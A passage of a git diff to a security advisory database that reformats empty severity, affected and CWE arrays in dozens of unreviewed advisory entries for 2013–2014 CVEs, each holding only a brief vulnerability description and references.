vulnerability in the CoolURI extension before 1.0.30 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-r55h-hjww-3r48/GHSA-r55h-hjww-3r48.json b/advisories/unreviewed/2022/05/GHSA-r55h-hjww-3r48/GHSA-r55h-hjww-3r48.json index cb3c35f1f6a..463a7fe2d08 100644 --- a/advisories/unreviewed/2022/05/GHSA-r55h-hjww-3r48/GHSA-r55h-hjww-3r48.json +++ b/advisories/unreviewed/2022/05/GHSA-r55h-hjww-3r48/GHSA-r55h-hjww-3r48.json @@ -7,12 +7,8 @@ "CVE-2013-4033" ], "details": "IBM DB2 and DB2 Connect 9.7 through FP8, 9.8 through FP5, 10.1 through FP2, and 10.5 through FP1 allow remote authenticated users to execute DML statements by leveraging EXPLAIN authority.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-r5cm-rxgc-r6wf/GHSA-r5cm-rxgc-r6wf.json b/advisories/unreviewed/2022/05/GHSA-r5cm-rxgc-r6wf/GHSA-r5cm-rxgc-r6wf.json index 9f6f3cecf90..d2c49742a0e 100644 --- a/advisories/unreviewed/2022/05/GHSA-r5cm-rxgc-r6wf/GHSA-r5cm-rxgc-r6wf.json +++ b/advisories/unreviewed/2022/05/GHSA-r5cm-rxgc-r6wf/GHSA-r5cm-rxgc-r6wf.json @@ -7,12 +7,8 @@ "CVE-2013-4025" ], "details": "IBM Data Studio Web Console 3.x before 3.2, Optim Performance Manager 5.x before 5.2, InfoSphere Optim Configuration Manager 2.x before 2.2, and DB2 Recovery Expert 2.x do not have an off autocomplete attribute for the login-password field, which makes it easier for remote attackers to obtain access by leveraging an unattended workstation.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-r7ch-ph7j-fh97/GHSA-r7ch-ph7j-fh97.json b/advisories/unreviewed/2022/05/GHSA-r7ch-ph7j-fh97/GHSA-r7ch-ph7j-fh97.json index 2e895c38f5a..f456c4eade7 100644 --- a/advisories/unreviewed/2022/05/GHSA-r7ch-ph7j-fh97/GHSA-r7ch-ph7j-fh97.json +++ b/advisories/unreviewed/2022/05/GHSA-r7ch-ph7j-fh97/GHSA-r7ch-ph7j-fh97.json @@ -7,12 +7,8 @@ "CVE-2014-0809" ], "details": "Directory traversal vulnerability in the Gapless Player SimZip (aka Simple Zip Viewer) application before 1.2.1 for Android allows remote attackers to overwrite or create arbitrary files via a crafted filename.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-r7gq-8mm5-pm93/GHSA-r7gq-8mm5-pm93.json b/advisories/unreviewed/2022/05/GHSA-r7gq-8mm5-pm93/GHSA-r7gq-8mm5-pm93.json index 15904a45144..cde2bcd34cf 100644 --- a/advisories/unreviewed/2022/05/GHSA-r7gq-8mm5-pm93/GHSA-r7gq-8mm5-pm93.json +++ b/advisories/unreviewed/2022/05/GHSA-r7gq-8mm5-pm93/GHSA-r7gq-8mm5-pm93.json @@ -7,12 +7,8 @@ "CVE-2013-5875" ], "details": "Unspecified vulnerability in Oracle Solaris 11.1 allows local users to affect integrity and availability via vectors related to Role Based Access Control (RBAC).", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-r7jx-h7qj-vxgc/GHSA-r7jx-h7qj-vxgc.json b/advisories/unreviewed/2022/05/GHSA-r7jx-h7qj-vxgc/GHSA-r7jx-h7qj-vxgc.json index 05516c6ac04..d0e5a6e982d 100644 --- a/advisories/unreviewed/2022/05/GHSA-r7jx-h7qj-vxgc/GHSA-r7jx-h7qj-vxgc.json +++ b/advisories/unreviewed/2022/05/GHSA-r7jx-h7qj-vxgc/GHSA-r7jx-h7qj-vxgc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-r87x-8xgx-m6wg/GHSA-r87x-8xgx-m6wg.json b/advisories/unreviewed/2022/05/GHSA-r87x-8xgx-m6wg/GHSA-r87x-8xgx-m6wg.json index 8db52f67fa1..aacc8e2a269 100644 --- a/advisories/unreviewed/2022/05/GHSA-r87x-8xgx-m6wg/GHSA-r87x-8xgx-m6wg.json +++ b/advisories/unreviewed/2022/05/GHSA-r87x-8xgx-m6wg/GHSA-r87x-8xgx-m6wg.json @@ -7,12 +7,8 @@ "CVE-2013-5882" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.13 and earlier allows remote authenticated users to affect availability via unknown vectors related to Stored Procedures.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-r8hc-r4p8-6ffh/GHSA-r8hc-r4p8-6ffh.json b/advisories/unreviewed/2022/05/GHSA-r8hc-r4p8-6ffh/GHSA-r8hc-r4p8-6ffh.json index ad582c13a13..9159e8cc898 100644 --- a/advisories/unreviewed/2022/05/GHSA-r8hc-r4p8-6ffh/GHSA-r8hc-r4p8-6ffh.json +++ b/advisories/unreviewed/2022/05/GHSA-r8hc-r4p8-6ffh/GHSA-r8hc-r4p8-6ffh.json @@ -7,12 +7,8 @@ "CVE-2013-5431" ], "details": "Open redirect vulnerability in IBM Tivoli Federated Identity Manager (TFIM) 6.1.1 before IF 15, 6.2.0 before IF 14, 6.2.1, and 6.2.2 before IF 8 and Tivoli Federated Identity Manager Business Gateway (TFIMBG) 6.1.1 before IF 15, 6.2.0 before IF 14, 6.2.1, and 6.2.2 before IF 8 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rf2j-2w3q-7fm3/GHSA-rf2j-2w3q-7fm3.json b/advisories/unreviewed/2022/05/GHSA-rf2j-2w3q-7fm3/GHSA-rf2j-2w3q-7fm3.json index 132d1b8e3ab..d2dd0420550 100644 --- a/advisories/unreviewed/2022/05/GHSA-rf2j-2w3q-7fm3/GHSA-rf2j-2w3q-7fm3.json +++ b/advisories/unreviewed/2022/05/GHSA-rf2j-2w3q-7fm3/GHSA-rf2j-2w3q-7fm3.json @@ -7,12 +7,8 @@ "CVE-2013-6311" ], "details": "SQL injection vulnerability in IBM Marketing Platform 9.1 before FP2 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rfm5-v3hr-ccwm/GHSA-rfm5-v3hr-ccwm.json b/advisories/unreviewed/2022/05/GHSA-rfm5-v3hr-ccwm/GHSA-rfm5-v3hr-ccwm.json index 4c0dab6ee30..24e681ff5d6 100644 --- a/advisories/unreviewed/2022/05/GHSA-rfm5-v3hr-ccwm/GHSA-rfm5-v3hr-ccwm.json +++ b/advisories/unreviewed/2022/05/GHSA-rfm5-v3hr-ccwm/GHSA-rfm5-v3hr-ccwm.json @@ -7,12 +7,8 @@ "CVE-2014-0660" ], "details": "Cisco TelePresence ISDN Gateway with software before 2.2(1.92) allows remote attackers to cause a denial of service (D-channel call outage) via a crafted Q.931 STATUS message, aka Bug ID CSCui50360.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rg6g-v4xm-g49q/GHSA-rg6g-v4xm-g49q.json b/advisories/unreviewed/2022/05/GHSA-rg6g-v4xm-g49q/GHSA-rg6g-v4xm-g49q.json index dc1971530c0..25f65586309 100644 --- a/advisories/unreviewed/2022/05/GHSA-rg6g-v4xm-g49q/GHSA-rg6g-v4xm-g49q.json +++ b/advisories/unreviewed/2022/05/GHSA-rg6g-v4xm-g49q/GHSA-rg6g-v4xm-g49q.json @@ -7,12 +7,8 @@ "CVE-2013-4748" ], "details": "SQL injection vulnerability in the News system (news) extension before 1.3.3 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rg72-4m53-57x9/GHSA-rg72-4m53-57x9.json b/advisories/unreviewed/2022/05/GHSA-rg72-4m53-57x9/GHSA-rg72-4m53-57x9.json index 2c3354fd996..a01646af464 100644 --- a/advisories/unreviewed/2022/05/GHSA-rg72-4m53-57x9/GHSA-rg72-4m53-57x9.json +++ b/advisories/unreviewed/2022/05/GHSA-rg72-4m53-57x9/GHSA-rg72-4m53-57x9.json @@ -7,12 +7,8 @@ "CVE-2013-6307" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Security QRadar SIEM 7.0 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rgj7-hg55-6w35/GHSA-rgj7-hg55-6w35.json b/advisories/unreviewed/2022/05/GHSA-rgj7-hg55-6w35/GHSA-rgj7-hg55-6w35.json index 3801163a7c4..d51bfbb30eb 100644 --- a/advisories/unreviewed/2022/05/GHSA-rgj7-hg55-6w35/GHSA-rgj7-hg55-6w35.json +++ b/advisories/unreviewed/2022/05/GHSA-rgj7-hg55-6w35/GHSA-rgj7-hg55-6w35.json @@ -7,12 +7,8 @@ "CVE-2013-2129" ], "details": "Cross-site scripting (XSS) vulnerability in the Webform module 6.x-3.x before 6.x-3.19 for Drupal allows remote authenticated users with the \"edit own webform content\" or \"edit all webform content\" permissions to inject arbitrary web script or HTML via a component label.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rhgm-h7g3-664f/GHSA-rhgm-h7g3-664f.json b/advisories/unreviewed/2022/05/GHSA-rhgm-h7g3-664f/GHSA-rhgm-h7g3-664f.json index 8a26a32cf1b..dff86cf2373 100644 --- a/advisories/unreviewed/2022/05/GHSA-rhgm-h7g3-664f/GHSA-rhgm-h7g3-664f.json +++ b/advisories/unreviewed/2022/05/GHSA-rhgm-h7g3-664f/GHSA-rhgm-h7g3-664f.json @@ -7,12 +7,8 @@ "CVE-2013-5400" ], "details": "An unspecified servlet in IBM Platform Symphony Developer Edition (DE) 5.2 and 6.1.x through 6.1.1 has hardcoded credentials, which allows remote attackers to bypass authentication and obtain \"local environment\" access via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-rj4x-5f2j-h52p/GHSA-rj4x-5f2j-h52p.json b/advisories/unreviewed/2022/05/GHSA-rj4x-5f2j-h52p/GHSA-rj4x-5f2j-h52p.json index 1c0add32c92..b28b6c226e9 100644 --- a/advisories/unreviewed/2022/05/GHSA-rj4x-5f2j-h52p/GHSA-rj4x-5f2j-h52p.json +++ b/advisories/unreviewed/2022/05/GHSA-rj4x-5f2j-h52p/GHSA-rj4x-5f2j-h52p.json @@ -7,12 +7,8 @@ "CVE-2013-7049" ], "details": "Stack-based buffer overflow in fish.cpp in the Fish plugin for ZNC, as used in ZNC for Windows (znc-msvc) 0.206 and earlier, allows remote attackers to cause a denial of service (crash) via a long string in a DH1080_INIT message.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rjq6-mg7q-hwvc/GHSA-rjq6-mg7q-hwvc.json b/advisories/unreviewed/2022/05/GHSA-rjq6-mg7q-hwvc/GHSA-rjq6-mg7q-hwvc.json index b728d641c88..fb70b011db7 100644 --- a/advisories/unreviewed/2022/05/GHSA-rjq6-mg7q-hwvc/GHSA-rjq6-mg7q-hwvc.json +++ b/advisories/unreviewed/2022/05/GHSA-rjq6-mg7q-hwvc/GHSA-rjq6-mg7q-hwvc.json @@ -7,12 +7,8 @@ "CVE-2013-3824" ], "details": "Unspecified vulnerability in the Oracle Agile Collaboration Framework component in Oracle Supply Chain Products Suite 9.3.1 allows remote authenticated users to affect integrity via unknown vectors related to Manufacturing/Mfg Parts.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-rm73-v38v-6gp7/GHSA-rm73-v38v-6gp7.json b/advisories/unreviewed/2022/05/GHSA-rm73-v38v-6gp7/GHSA-rm73-v38v-6gp7.json index 604413af1f3..6681f454703 100644 --- a/advisories/unreviewed/2022/05/GHSA-rm73-v38v-6gp7/GHSA-rm73-v38v-6gp7.json +++ b/advisories/unreviewed/2022/05/GHSA-rm73-v38v-6gp7/GHSA-rm73-v38v-6gp7.json @@ -7,12 +7,8 @@ "CVE-2013-3975" ], "details": "Unspecified vulnerability in the Meeting Server in IBM Sametime 8.x through 8.5.2.1 and 9.x through 9.0.0.1 allows remote attackers to discover user names, full names, and e-mail addresses via a search.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-rpmm-vhw4-x5f7/GHSA-rpmm-vhw4-x5f7.json b/advisories/unreviewed/2022/05/GHSA-rpmm-vhw4-x5f7/GHSA-rpmm-vhw4-x5f7.json index a4d88037e00..5e44274f561 100644 --- a/advisories/unreviewed/2022/05/GHSA-rpmm-vhw4-x5f7/GHSA-rpmm-vhw4-x5f7.json +++ b/advisories/unreviewed/2022/05/GHSA-rpmm-vhw4-x5f7/GHSA-rpmm-vhw4-x5f7.json @@ -7,12 +7,8 @@ "CVE-2013-5834" ], "details": "Unspecified vulnerability in Oracle Solaris 8 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to ps.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-rqw4-wgg4-99m9/GHSA-rqw4-wgg4-99m9.json b/advisories/unreviewed/2022/05/GHSA-rqw4-wgg4-99m9/GHSA-rqw4-wgg4-99m9.json index d09b74dafd7..2e7544ad453 100644 --- a/advisories/unreviewed/2022/05/GHSA-rqw4-wgg4-99m9/GHSA-rqw4-wgg4-99m9.json +++ b/advisories/unreviewed/2022/05/GHSA-rqw4-wgg4-99m9/GHSA-rqw4-wgg4-99m9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rrv7-4mrv-hvcq/GHSA-rrv7-4mrv-hvcq.json b/advisories/unreviewed/2022/05/GHSA-rrv7-4mrv-hvcq/GHSA-rrv7-4mrv-hvcq.json index 01b2d79d917..fb45032bd13 100644 --- a/advisories/unreviewed/2022/05/GHSA-rrv7-4mrv-hvcq/GHSA-rrv7-4mrv-hvcq.json +++ b/advisories/unreviewed/2022/05/GHSA-rrv7-4mrv-hvcq/GHSA-rrv7-4mrv-hvcq.json @@ -7,12 +7,8 @@ "CVE-2013-4052" ], "details": "Cross-site scripting (XSS) vulnerability in the UDDI Administrative console in IBM WebSphere Application Server (WAS) 6.1 before 6.1.0.47, 7.0 before 7.0.0.31, 8.0 before 8.0.0.8, and 8.5 before 8.5.5.1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rvr7-79c9-w4jr/GHSA-rvr7-79c9-w4jr.json b/advisories/unreviewed/2022/05/GHSA-rvr7-79c9-w4jr/GHSA-rvr7-79c9-w4jr.json index d9c4724d59d..e2176641f5a 100644 --- a/advisories/unreviewed/2022/05/GHSA-rvr7-79c9-w4jr/GHSA-rvr7-79c9-w4jr.json +++ b/advisories/unreviewed/2022/05/GHSA-rvr7-79c9-w4jr/GHSA-rvr7-79c9-w4jr.json @@ -7,12 +7,8 @@ "CVE-2013-6979" ], "details": "The VTY authentication implementation in Cisco IOS XE 03.02.xxSE and 03.03.xxSE incorrectly relies on the Linux-IOS internal-network configuration, which allows remote attackers to bypass authentication by leveraging access to a 192.168.x.2 source IP address, aka Bug ID CSCuj90227.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rw8m-j34q-r439/GHSA-rw8m-j34q-r439.json b/advisories/unreviewed/2022/05/GHSA-rw8m-j34q-r439/GHSA-rw8m-j34q-r439.json index 16079e7384e..154b05d8272 100644 --- a/advisories/unreviewed/2022/05/GHSA-rw8m-j34q-r439/GHSA-rw8m-j34q-r439.json +++ b/advisories/unreviewed/2022/05/GHSA-rw8m-j34q-r439/GHSA-rw8m-j34q-r439.json @@ -7,12 +7,8 @@ "CVE-2013-4681" ], "details": "SQL injection vulnerability in the sofortueberweisung2commerce extension before 2.0.1 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rwq6-v75q-246r/GHSA-rwq6-v75q-246r.json b/advisories/unreviewed/2022/05/GHSA-rwq6-v75q-246r/GHSA-rwq6-v75q-246r.json index 836196f1c1f..a77a5f9b7c5 100644 --- a/advisories/unreviewed/2022/05/GHSA-rwq6-v75q-246r/GHSA-rwq6-v75q-246r.json +++ b/advisories/unreviewed/2022/05/GHSA-rwq6-v75q-246r/GHSA-rwq6-v75q-246r.json @@ -7,12 +7,8 @@ "CVE-2013-5353" ], "details": "Unrestricted file upload vulnerability in system/controllers/ajax/attachments.php in Sharetronix 3.1.1.3, 3.1.1, and earlier allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in an unspecified directory.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-rwxx-5957-9pmq/GHSA-rwxx-5957-9pmq.json b/advisories/unreviewed/2022/05/GHSA-rwxx-5957-9pmq/GHSA-rwxx-5957-9pmq.json index d9b721e0cdf..5a627a596fa 100644 --- a/advisories/unreviewed/2022/05/GHSA-rwxx-5957-9pmq/GHSA-rwxx-5957-9pmq.json +++ b/advisories/unreviewed/2022/05/GHSA-rwxx-5957-9pmq/GHSA-rwxx-5957-9pmq.json @@ -7,12 +7,8 @@ "CVE-2013-5527" ], "details": "The OSPF functionality in Cisco IOS and IOS XE allows remote attackers to cause a denial of service (device reload) via crafted options in an LSA type 11 packet, aka Bug ID CSCui21030.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-rxv9-6mj3-27gh/GHSA-rxv9-6mj3-27gh.json b/advisories/unreviewed/2022/05/GHSA-rxv9-6mj3-27gh/GHSA-rxv9-6mj3-27gh.json index 46a2aef5fca..26b65324a6b 100644 --- a/advisories/unreviewed/2022/05/GHSA-rxv9-6mj3-27gh/GHSA-rxv9-6mj3-27gh.json +++ b/advisories/unreviewed/2022/05/GHSA-rxv9-6mj3-27gh/GHSA-rxv9-6mj3-27gh.json @@ -7,12 +7,8 @@ "CVE-2013-3971" ], "details": "IBM Maximo Asset Management 7.1 through 7.1.1.12 and 7.5 before 7.5.0.5 allows remote authenticated users to bypass intended access restrictions via unspecified vectors, a different vulnerability than CVE-2013-3049.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-v2xm-98f2-h7c8/GHSA-v2xm-98f2-h7c8.json b/advisories/unreviewed/2022/05/GHSA-v2xm-98f2-h7c8/GHSA-v2xm-98f2-h7c8.json index b6e522f3db4..963f98c956a 100644 --- a/advisories/unreviewed/2022/05/GHSA-v2xm-98f2-h7c8/GHSA-v2xm-98f2-h7c8.json +++ b/advisories/unreviewed/2022/05/GHSA-v2xm-98f2-h7c8/GHSA-v2xm-98f2-h7c8.json @@ -7,12 +7,8 @@ "CVE-2013-5423" ], "details": "IBM Flex System Manager (FSM) 1.1 through 1.3 before 1.3.2.0 allows remote attackers to enumerate user accounts via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-v3rc-pqvc-mv75/GHSA-v3rc-pqvc-mv75.json b/advisories/unreviewed/2022/05/GHSA-v3rc-pqvc-mv75/GHSA-v3rc-pqvc-mv75.json index 4bc6c5a56cb..1098e7c1386 100644 --- a/advisories/unreviewed/2022/05/GHSA-v3rc-pqvc-mv75/GHSA-v3rc-pqvc-mv75.json +++ b/advisories/unreviewed/2022/05/GHSA-v3rc-pqvc-mv75/GHSA-v3rc-pqvc-mv75.json @@ -7,12 +7,8 @@ "CVE-2014-0673" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the web interface on Cisco Video Surveillance 5000 HD IP Dome cameras allow remote attackers to inject arbitrary web script or HTML via a crafted URL, aka Bug IDs CSCud10943 and CSCud10950.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-v48v-vf8j-mm68/GHSA-v48v-vf8j-mm68.json b/advisories/unreviewed/2022/05/GHSA-v48v-vf8j-mm68/GHSA-v48v-vf8j-mm68.json index b5712a0892f..c310b673fa6 100644 --- a/advisories/unreviewed/2022/05/GHSA-v48v-vf8j-mm68/GHSA-v48v-vf8j-mm68.json +++ b/advisories/unreviewed/2022/05/GHSA-v48v-vf8j-mm68/GHSA-v48v-vf8j-mm68.json @@ -7,12 +7,8 @@ "CVE-2013-2619" ], "details": "Directory traversal vulnerability in Aspen before 0.22 allows remote attackers to read arbitrary files via a .. (dot dot) to the default URI.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-v5h9-9xx2-mmf6/GHSA-v5h9-9xx2-mmf6.json b/advisories/unreviewed/2022/05/GHSA-v5h9-9xx2-mmf6/GHSA-v5h9-9xx2-mmf6.json index ac75bfccbed..3da6c3cee4e 100644 --- a/advisories/unreviewed/2022/05/GHSA-v5h9-9xx2-mmf6/GHSA-v5h9-9xx2-mmf6.json +++ b/advisories/unreviewed/2022/05/GHSA-v5h9-9xx2-mmf6/GHSA-v5h9-9xx2-mmf6.json @@ -7,12 +7,8 @@ "CVE-2013-2136" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in Apache CloudStack before 4.1.1 allow remote attackers to inject arbitrary web script or HTML via the (1) Physical network name to the Zone wizard; (2) New network name, (3) instance name, or (4) group to the Instance wizard; (5) unspecified \"multi-edit fields;\" and (6) unspecified \"list view\" edit fields related to global settings.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-v6jw-g3w9-4jpf/GHSA-v6jw-g3w9-4jpf.json b/advisories/unreviewed/2022/05/GHSA-v6jw-g3w9-4jpf/GHSA-v6jw-g3w9-4jpf.json index 7e39b60c7d4..5c955fb5b9b 100644 --- a/advisories/unreviewed/2022/05/GHSA-v6jw-g3w9-4jpf/GHSA-v6jw-g3w9-4jpf.json +++ b/advisories/unreviewed/2022/05/GHSA-v6jw-g3w9-4jpf/GHSA-v6jw-g3w9-4jpf.json @@ -7,12 +7,8 @@ "CVE-2013-5505" ], "details": "Cross-site scripting (XSS) vulnerability in an administration page in Cisco Identity Services Engine (ISE) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCui30275.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-v795-xmff-873x/GHSA-v795-xmff-873x.json b/advisories/unreviewed/2022/05/GHSA-v795-xmff-873x/GHSA-v795-xmff-873x.json index 266d85065f8..d3790028fad 100644 --- a/advisories/unreviewed/2022/05/GHSA-v795-xmff-873x/GHSA-v795-xmff-873x.json +++ b/advisories/unreviewed/2022/05/GHSA-v795-xmff-873x/GHSA-v795-xmff-873x.json @@ -7,12 +7,8 @@ "CVE-2013-5876" ], "details": "Unspecified vulnerability in Oracle Solaris 10 and 11.1 allows local users to affect availability via unknown vectors related to Kernel, a different vulnerability than CVE-2014-0447.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-v8mr-5v2g-p5j4/GHSA-v8mr-5v2g-p5j4.json b/advisories/unreviewed/2022/05/GHSA-v8mr-5v2g-p5j4/GHSA-v8mr-5v2g-p5j4.json index 36cea72948d..ad203af72f8 100644 --- a/advisories/unreviewed/2022/05/GHSA-v8mr-5v2g-p5j4/GHSA-v8mr-5v2g-p5j4.json +++ b/advisories/unreviewed/2022/05/GHSA-v8mr-5v2g-p5j4/GHSA-v8mr-5v2g-p5j4.json @@ -7,12 +7,8 @@ "CVE-2013-4870" ], "details": "SQL injection vulnerability in the News Search (news_search) extension 0.1.0 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-v8v4-4v92-48h2/GHSA-v8v4-4v92-48h2.json b/advisories/unreviewed/2022/05/GHSA-v8v4-4v92-48h2/GHSA-v8v4-4v92-48h2.json index e435d183c48..3d63191665e 100644 --- a/advisories/unreviewed/2022/05/GHSA-v8v4-4v92-48h2/GHSA-v8v4-4v92-48h2.json +++ b/advisories/unreviewed/2022/05/GHSA-v8v4-4v92-48h2/GHSA-v8v4-4v92-48h2.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-vf2x-75p3-wpfg/GHSA-vf2x-75p3-wpfg.json b/advisories/unreviewed/2022/05/GHSA-vf2x-75p3-wpfg/GHSA-vf2x-75p3-wpfg.json index 75afd23769e..63b2d766f59 100644 --- a/advisories/unreviewed/2022/05/GHSA-vf2x-75p3-wpfg/GHSA-vf2x-75p3-wpfg.json +++ b/advisories/unreviewed/2022/05/GHSA-vf2x-75p3-wpfg/GHSA-vf2x-75p3-wpfg.json @@ -7,12 +7,8 @@ "CVE-2013-6226" ], "details": "Directory traversal vulnerability in plugins/editor.zoho/agent/save_zoho.php in the Zoho plugin in Pydio (formerly AjaXplorer) before 5.0.4 allows remote attackers to read or delete arbitrary files via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git 